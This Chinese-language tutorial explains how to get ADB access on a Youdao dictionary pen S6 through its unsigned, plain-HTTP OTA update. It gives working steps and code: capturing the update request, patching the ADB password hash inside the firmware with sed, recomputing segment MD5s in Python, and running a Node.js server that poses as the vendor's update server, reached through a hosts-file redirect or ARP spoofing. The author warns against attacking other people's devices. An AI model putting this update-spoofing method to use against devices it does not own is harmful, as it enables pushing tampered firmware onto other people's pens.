本文将PenUniverse Github Discussion上SkySight-666大佬的帖子进行了细化和补全,如果有建议和疑问,欢迎在下面留言!
0. 前言
免责:使用本方法以及本方法获取的权限造成的一切后果,如远程施法有道律师函、词典笔损坏、家长批评、第三次世界大战.. 与作者无关。
此教程仅针对有道词典笔S6,不同版本的词典笔操作可能完全不同,此教程可能不适用于其他词典笔。
到目前为止,获取到有道词典笔的ADB权限所能做的事情都很局限,因为有道的词典笔是基于Linux的,SoC是rics-v架构的,甚至从3代开始,词典笔硬件迎来了史诗级削减,如:屏幕刷新率被砍,运行内存被砍到只剩300MB,这直接的导致了它没法安装任何Android应用,甚至完全可以说折腾它是没有任何实用意义的。为了上课摸鱼或者拿词典笔干一些别的同款笔干不到的事以在其他人面前装x的可以退出此教程了,跟着这个教程做完你会发现什么也干不了!!!
此漏洞十分危险,无论你是否想要给词典笔提权,都请做到:不在陌生的网络环境更新系统、警惕莫名奇妙的系统更新、关闭更新包自动下载 , 以及不要利用此漏洞攻击别人的设备。
原理
通过抓包可以分析,有道的OTA更新使用的是不安全的HTTP,以及更新镜像的MD5是返回在POST请求中的。同时,通过逆向抓包下载到的全量固件,发现有道的词典笔OS并没有做必要的系统更新签名校验。故我们可以修改一个全量包,修改其中adb_auth.sh 中的 sha256 值来实现修改密码,再通过规则转发来让词典笔更新我们自己的镜像。
实现
- 首先,通过抓包抓取系统全量包
- 使用
binwalk拆解全量包,得到原始adb密码的sha256值 - 使用
sed -i命令替换sha256值 - 检查新镜像的大小,确保一致
- 重新按照POST请求返回中的MD5分段重新计算分段MD5和新的整包MD5
- 取得新镜像的文件直链
- 创建
nodejs服务器,修改返回值 - 修改系统hosts文件,将
iotapi.abupdate.com重定向到你的欺骗服务器 - 在词典笔上先检查一次更新
- 使用Windows热点连接词典笔,或者使用arp欺骗攻击
- 再次检查更新,更新新的系统镜像
- 连接adb
使用工具:
- 有道词典笔
- 一台能开启WIFI热点的电脑
- Windows环境/Linux环境
- WireShark
- Binwalk/DNA
- Python环境
- Node.js环境
- 一个思维清晰的脑子
1. 抓取系统包
1.1 抓取更新请求
-
电脑开启热点并
使用词典笔连接 -
打开任务管理器,确定自己电脑网络热点的适配器名称(我这里是
本地连接* 10)
-
打开
WireShark,找到刚才的适配器名称(我这里是本地连接* 10),单击选中后,点击窗口上方绿色小鲨鱼启动抓包 -
在词典笔上搜索更新,等待
WireShark抓取更新请求,不出所料会有这么一条POST请求
抓到后可以点击窗口上方红色小鲨鱼停止抓包
1.2 重新发送更新请求,获取全量包链接
- 找一个HTTP测试网站,这里我用的是SOJSON,将Header设置为
application/json;charset=UTF-8,将你在WireShark获得的数据填入,发送如下请求:
{ "timestamp": "这里填你WireShark获得的timestamp", "sign": "这里填你WireShark获得的sign", "mid": "这里填你WireShark获得的mid", "productId": "这里填你WireShark获得的productID", "version": "99.99.90", "networkType": "WIFI"}
- 不出意外的话,获取到的数据差不多应该是这样的
{ "status": 1000, "msg": "success", "data": { "releaseNotes": { "publishDate": "2023-06-26", "version": "99.99.91", "content": "[{\"country\":\"zh_CN\",\"content\":\"1.优化系统.修复错误\"}]" }, "sha256": "98a768d7df278be58d378b6cbd2142f9a7807dd9bf8c2e2ddedbb1ad5b9f32b8", "safe": { "encKey": null, "isEncrypt": 0 }, "version": { "segmentMd5": "[{\"num\":0,\"startpos\":0,\"md5\":\"6afb51af609d5ab205620f2020ed964e\",\"endpos\":104857600},{\"num\":1,\"startpos\":104857600,\"md5\":\"42c6e6b88c0603783765c403b0ed7914\",\"endpos\":209715200},{\"num\":2,\"startpos\":209715200,\"md5\":\"a2d297d5cc33eca65777d2bdcbe98293\",\"endpos\":314572800},{\"num\":3,\"startpos\":314572800,\"md5\":\"5bb85fc4e9539131ff471cf7e1488718\",\"endpos\":419430400},{\"num\":4,\"startpos\":419430400,\"md5\":\"4c5f5f95d49719a23aef3d127f884c1f\",\"endpos\":524288000},{\"num\":5,\"startpos\":524288000,\"md5\":\"b6028cbf53490ff8a72d6b03da64bfdb\",\"endpos\":629145600},{\"num\":6,\"startpos\":629145600,\"md5\":\"4f6d7a683825afdb57291c651fcf0a4c\",\"endpos\":734003200},{\"num\":7,\"startpos\":734003200,\"md5\":\"51441a5ab6fc37076104de26d8d74092\",\"endpos\":838860800},{\"num\":8,\"startpos\":838860800,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":943718400},{\"num\":9,\"startpos\":943718400,\"md5\":\"4c48a4078df31327fda7845123a4cb2b\",\"endpos\":1048576000},{\"num\":10,\"startpos\":1048576000,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":1153433600},{\"num\":11,\"startpos\":1153433600,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":1258291200},{\"num\":12,\"startpos\":1258291200,\"md5\":\"c81029b9c4e0ecf7cbcf1d1afb881f20\",\"endpos\":1363148800},{\"num\":13,\"startpos\":1363148800,\"md5\":\"586c523c54bc9f1042bb92022ac87183\",\"endpos\":1397088268}]", "bakUrl": "http://iotdownbak.mayitek.com/xxxxxxxxxx/xxxxxxx/5383b000-49c2-4d29-812e-42c52b075599.img", "versionAlias": "", "deltaUrl": "http://iotdown.mayitek.com/xxxxxxxxxx/xxxxxxx/5383b000-49c2-4d29-812e-42c52b075599.img", "deltaID": "xxxxxxx", "fileSize": 1397088268, "md5sum": "5c668394fa2779eada86601292ff877b", "versionName": "99.99.91", "sha": "6fdd26798679e5cb1e877051c7970a89307e303" }, "policy": { "download": [ { "key_name": "wifi", "key_message": "仅wifi下载", "key_value": "optional" }, { "key_name": "storageSize", "key_message": "存储空间不足", "key_value": "1397088268" }, { "key_name": "forceDownload", "key_message": "", "key_value": "false" } ], "install": [ { "key_name": "battery", "key_message": "电量不足,请充电后重试!", "key_value": "30" }, { "key_name": "rebootUpgrade", "key_message": "", "key_value": "false" }, { "key_name": "force", "key_message": "", "key_value": "{\"from\": \"00:00\", \"to\": \"00:00\",\"gap\": \"00:00\"}" } ], "check": [ { "key_name": "cycle", "key_message": "", "key_value": "1500" } ] } }}我这里使用的是有道词典笔S6,其他版本的词典笔获取到的数据大概率会和这个不一样,但整体结构就差不多是这么个结构
- 将获取到的JSON字段中
deltaUrl(Line 19)部分后面的链接复制到浏览器中打开,下载下来的就是全量包啦,如果下载不成功可以试试换成bakUrl(Line 17)中的链接
2. 解包,修改adb密码
2.1 使用Binwalk解包
前言:某些版本听说binwalk没用,用DNA试试. 别问我,我没试过
-
安装
binwalkLinux环境:
Terminal window #debian系sudo apt-get install binwalk#CentOS系sudo yum install binwalkWindows环境:
- 下载 Binwalk
- 在项目根目录下执行
python setup.py install
- 下载 Binwalk
-
解包,读取密码
cd到全量包的同一目录,使用Binwalk解包
Terminal window binwalk -e /(这里填写你的全量包的文件名).bin解包后会获得一个文件夹
在文件夹路径./_xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx.img.extracted/ext-root-0/usr/bin/adb_auth.sh下有个adb_auth.sh文件,其内容是这样的(其他版本的词典笔内容可能有所不同):#!/bin/shVERIFIED=/tmp/.adb_auth_verifiedif [ -f "$VERIFIED" ]; thenecho "success."exitfifor i in $(seq 1 3); doread -p "$(hostname -s)'s password: " PASSWDPASSWD=$(echo -n ${PASSWD} | sha256sum - | awk '{print $1}')if [ "$PASSWD" = "$(tail -n 1 /usr/bin/adb_auth.sh|awk -F# '{print $2}'|awk '{print $1}')" ]; thenecho "success."touch $VERIFIEDexitfiecho "password incorrect!"donefalse#9de0341eb0ac432ecf39b72a0ddf4ac9a5dfb01828c0728dee474a573810a51f -那么可以很容易的注意到这个bash文件的作用是在adb连接的时候校验密码,而密码的校验方式竟然是读取文件的倒数第一行的sha256值并与输入值的sha256进行匹配…
原理知道了,那么想要修改密码就不难了
2.2 使用sed -i 修改密码
-
安装
sedLinux环境:
Terminal window #debian系sudo apt-get install sed#CentOS系sudo yum install sedWindows环境:
- 先从sourceforge网站上下载sed win的安装程序 sed
- 下载
sed-x.x.x-setup.exe,然后安装 - 有兴趣可以配置个环境变量
C:\Program Files (x86)\GnuWin32\bin,没兴趣的也可以后续命令全部带绝对路径执行
- 先从sourceforge网站上下载sed win的安装程序 sed
-
浏览器找一个
SHA256加密工具,我用的是SHA256 在线加密工具,要加密的数据输入你想要替换的密码,我拿1145141919810举例,得到的加密结果则为b7ab30a912521ac36e433a5cfc8b5c1037884487af45ae5311ced235ee77faef -
记录原全量包大小,精确到
字节(后面有用) -
用
sed -i替换全量包中指定的字符串
sed -i "s/(原SHA256值)/(新SHA256值)/g" (你的全量包名字).img
#举例,我是:sed -i "s/9de0341eb0ac432ecf39b72a0ddf4ac9a5dfb01828c0728dee474a573810a51f/b7ab30a912521ac36e433a5cfc8b5c1037884487af45ae5311ced235ee77faef/g" 5383b000-49c2-4d29-812e-42c52b075599.img- 对比修改前后的全量包大小,确保修改前后
大小一致
3. 让词典笔更新修改密码后的全量包
现在已知词典笔检查更新是通过发送一条POST请求,随后冈易服务器返回是否有更新.
那么想要让词典笔更新修改密码后的全量包,我们可以通过伪造一个冈易更新服务器来实现.
观察可以发现,冈易返回的数据大概有以下几个重要元素:
status用于告诉词典笔是否有更新(2101为无更新,1000为有更新,5000为出现错误)releaseNotes用于告诉词典笔更新说明version下为更新包的下载接口(deltaUrl和bakUrl)和校验数据(segmentMd5为文件分段MD5,md5sum为文件总MD5)
那么我们只需要修改这些关键数据后重新发送给词典笔就好了
3.1 计算修改后全量包的MD5
- 创建一个文件,名字为
md5_splitter.py - 把下面内容复制粘贴到文件里
- 将第22~26行
segment_sizes中的数值修改为你自己的冈易更新请求里”segmentMd5”那一块每一个”endpos”的数值
import sys import hashlib
def calculate_md5(file_path, start, end): hasher = hashlib.md5() with open(file_path, 'rb') as f: f.seek(start) while start < end: buffer = f.read(min(1024 * 1024, end - start)) # 每次读取1MB,避免内存占用过高 if not buffer: break hasher.update(buffer) start += len(buffer) return hasher.hexdigest()
def main(): if len(sys.argv) != 2: print("Usage: ./md5_splitter.py <file_path>") sys.exit(1)
file_path = sys.argv[1] segment_sizes = [ 104857600, 209715200, 314572800, 419430400, 524288000, 629145600, 734003200, 838860800, 943718400, 1048576000, 1153433600, 1258291200, 1363148800, 1397088268 ] #!![重要]!!这里修改为你自己的冈易更新请求里"segmentMd5"那一块每一个"endpos\"的数字 segment_md5s = []
start = 0 for end in segment_sizes: md5_value = calculate_md5(file_path, start, end) segment_md5s.append(md5_value) start = end
# 输出14个MD5值 for i, md5 in enumerate(segment_md5s, start=1): print(f"Segment {i}: {md5}")
if __name__ == "__main__": main()-
启动Python程序
Terminal window python ./md5_splitter.py ./xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx.img# 输出如下Segment 1: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 2: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 3: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 4: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 5: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 6: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 7: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 8: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 9: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 10: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 11: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 12: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 13: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxSegment 14: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -
记录所有
Segment数据,待会要用 -
计算修改后全量包的总MD5
Terminal window # Windows环境certutil -hashfile ./xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx.img md5# Linux环境md5sum ./xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx.img -
记录输出的
MD5值,待会要用
3.2 创建一个更新文件直链
- 创建一个文件,名字为
HTTP_Server.py - 把下面内容复制粘贴到文件里
import sysimport osimport socketfrom http.server import HTTPServer, BaseHTTPRequestHandler
def get_local_ip(): try: # 尝试通过连接外部地址获取本机局域网IP s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) ip = s.getsockname()[0] s.close() return ip except Exception: return '0.0.0.0' # 获取失败时返回默认地址
def main(): # 检查命令行参数 if len(sys.argv) != 2: print("使用方法:python ./HTTP_Server.py <文件路径>") print("示例:python ./HTTP_Server.py ./example.img") sys.exit(1)
# 解析文件路径 filepath = os.path.abspath(sys.argv[1]) if not os.path.isfile(filepath): print(f"错误:文件 '{filepath}' 不存在或不是文件") sys.exit(1)
# 获取基础信息 filename = os.path.basename(filepath) local_ip = get_local_ip() port = 14514
# 创建自定义请求处理器 class CustomHandler(BaseHTTPRequestHandler): def do_GET(self): # 仅允许访问指定文件名 if self.path == f'/{filename}': self.send_response(200) self.send_header('Content-Type', 'application/octet-stream') self.send_header('Content-Disposition', f'attachment; filename="{filename}"') self.send_header('Content-Length', os.path.getsize(filepath)) self.end_headers() # 流式传输文件内容 with open(filepath, 'rb') as f: self.wfile.write(f.read()) else: self.send_error(404, "File Not Found")
# 启动服务器 server = HTTPServer(('0.0.0.0', port), CustomHandler) print("文件直链:") print(f"http://{local_ip}:{port}/{filename}") print("按 Ctrl+C 停止服务器")
try: server.serve_forever() except KeyboardInterrupt: server.server_close() print("\n服务器已停止")
if __name__ == "__main__": main()- 启动Python程序
Terminal window python ./HTTP_Server.py ./xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx.img# 输出如下文件直链:http://xxx.xxx.xxx.xxx:14514/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx.img按 Ctrl+C 停止服务器 - 记录文件直链,后面要用
3.3 创建一个欺骗服务器
- 创建一个文件,名字为
YDPen.js - 把下面内容复制粘贴到文件里
const http = require('http');const fs = require('fs');const path = require('path');const port = 80;
// 假设这是你的自定义 JSON 数据const JsonData = { "releaseNotes": { "publishDate": "2023-11-18", "version": "4.0.2", "content": "[{\"country\":\"zh_CN\",\"content\":\"1、修复部分问题,优化系统稳定性\"}]" }, "safe": { "isEncrypt": 0 }, "version": { "segmentMd5": "[{\"num\":0,\"startpos\":0,\"md5\":\"11ca35db346f49135324020d8ed9969b\",\"endpos\":104857600},{\"num\":1,\"startpos\":104857600,\"md5\":\"3c05419707b6981093fb6ed50a92a095\",\"endpos\":209715200},{\"num\":2,\"startpos\":209715200,\"md5\":\"eea450e348bd4f36c8abe28b8eda0a6d\",\"endpos\":314572800},{\"num\":3,\"startpos\":314572800,\"md5\":\"36dcce0dfda04040c87dc5fdbe53039e\",\"endpos\":419430400},{\"num\":4,\"startpos\":419430400,\"md5\":\"147f9c36c8353e514305f2917182ef35\",\"endpos\":524288000},{\"num\":5,\"startpos\":524288000,\"md5\":\"d1f1733a399d92c10b5723d4fc86747f\",\"endpos\":629145600},{\"num\":6,\"startpos\":629145600,\"md5\":\"ca1e07d0e986145cbf8e97113d8588f4\",\"endpos\":734003200},{\"num\":7,\"startpos\":734003200,\"md5\":\"21b0dcf16b91120ac79a2337ddd741f8\",\"endpos\":838860800},{\"num\":8,\"startpos\":838860800,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":943718400},{\"num\":9,\"startpos\":943718400,\"md5\":\"4b5e89f2ed4c7ba70269e1c67257a480\",\"endpos\":1048576000},{\"num\":10,\"startpos\":1048576000,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":1153433600},{\"num\":11,\"startpos\":1153433600,\"md5\":\"2f282b84e7e608d5852449ed940bfc51\",\"endpos\":1258291200},{\"num\":12,\"startpos\":1258291200,\"md5\":\"bdc427a4857dd06b1eef994e454077ae\",\"endpos\":1363148800},{\"num\":13,\"startpos\":1363148800,\"md5\":\"47366679b58ec4436205a40e8cf3ac7e\",\"endpos\":1397096460}]", "bakUrl": "填写你自己的镜像直链", "versionAlias": "", "deltaUrl": "填写你自己的镜像直链", "deltaID": "9457867", "fileSize": 1397096460, "md5sum": "1d4ce19a13629aa9d72499012d4046e9", "versionName": "99.99.91" }, "policy": { "download": [ { "key_name": "wifi", "key_message": "仅wifi下载", "key_value": "optional" }, { "key_name": "storageSize", "key_message": "存储空间不足", "key_value": "76944507" }, { "key_name": "forceDownload", "key_message": "", "key_value": "false" } ], "install": [ { "key_name": "battery", "key_message": "电量不足,请充电后重试!", "key_value": "30" }, { "key_name": "voltage", "key_message": "", "key_value": "" }, { "key_name": "rebootUpgrade", "key_message": "", "key_value": "false" }, { "key_name": "force", "key_message": "", "key_value": "{\"from\": \"00:00\", \"to\": \"00:00\",\"gap\": \"00:00\"}" } ], "check": [ { "key_name": "cycle", "key_message": "", "key_value": "1500" }, { "key_name": "remind", "key_message": "", "key_value": "1440" } ] }};
// 获取当前日期,并格式化为 HTTP 头所需的格式const getFormattedDate = () => { const now = new Date(); return now.toUTCString(); // 转换为 UTC 格式};
// 创建 HTTP 服务器const server = http.createServer((req, res) => { console.log(`${req.method} request for ${req.url} at ${new Date().toISOString()}`);
if (req.method === 'GET' && req.url === '/product/xxxxxxxxxx/xxxxxxxxxxxxxxx/ota/checkVersion') { // !!!url修改为你自己词典笔检查更新的URL后缀 // 设置自定义头部 res.writeHead(200, { 'Server': 'nginx/1.20.1', 'Content-Type': 'application/json;charset=UTF-8', 'Date': getFormattedDate(), // 使用当前日期 'Transfer-Encoding': 'chunked', 'Connection': 'close' }); // 发送 JSON 数据 res.write(JSON.stringify({ status: 1000, msg: 'success', data: JsonData })); res.end(); // 结束响应 } else if (req.method === 'POST' && req.url === '/product/xxxxxxxxxx/xxxxxxxxxxxxxxx/ota/checkVersion') { // !!!url修改为你自己词典笔检查更新的URL后缀 // 设置自定义头部 res.writeHead(200, { 'Server': 'nginx/1.20.1', 'Content-Type': 'application/json;charset=UTF-8', 'Date': getFormattedDate(), // 使用当前日期 'Transfer-Encoding': 'chunked', 'Connection': 'close' }); // 发送 JSON 数据 res.write(JSON.stringify({ status: 1000, msg: 'success', data: JsonData })); res.end(); // 结束响应 } else { // 处理其他请求 res.writeHead(404, { 'Content-Type': 'text/plain' }); res.end('Not Found'); }});
// 启动服务器server.listen(port, () => { console.log(`Server is running at http://localhost:${port}`);});- 修改文件中
segmentMd5,bakUrl,deltaUrl,md5sum的值。
segmentMd5中修改startpos和endpos的值为你从冈易官方服务器获取到的值。md5值修改为之前用脚本分段计算的MD5值bakUrl和deltaUrl修改为3.3创建的文件直链md5sum修改为3.1计算的完整md5req.url修改为你抓到的词典笔获取更新的链接后缀
3.4 让词典笔从你的欺骗服务器安装更新
- 启动你的欺骗服务器
- 确保词典笔连接上了电脑热点
- 先在词典笔上检查一次更新
- 修改系统hosts文件,将 iotapi.abupdate.com 重定向到你的欺骗服务器
- 再次检查更新,更新新的系统镜像
4. 尝试用修改后的adb密码连接词典笔
4.1 配置Adb环境
- 下载(adb)[]
- 将adb添加到环境变量
4.2 使用Adb连接词典笔
- 将词典笔插入电脑
- 打开词典笔-设置-…… 快速点击15下
正常应该会有弹窗提示ADB调试已打开 - 打开终端,输入
adb listdevices查找设备
正常应该是这样的
123456789如果不是长这个样可以尝试重新打开adb,重新将词典笔连接电脑 或 重新安装Android SDK 解决
- 进入ADB Shell
终端输入
adb shell,提示要求输入密码,输入完你修改后的密码后回车,再次输入adb shell即可进入ADB Shell
123456至此,已经获取到词典笔的ADB权限。
疑难杂症
- Q: 安装更新包时卡在6.5/11%不动?
A: 尝试换一个http服务脚本解决
文章正在施工中,如果发现教程不完整,那么你先别急,等等会有的(咕咕咕咕咕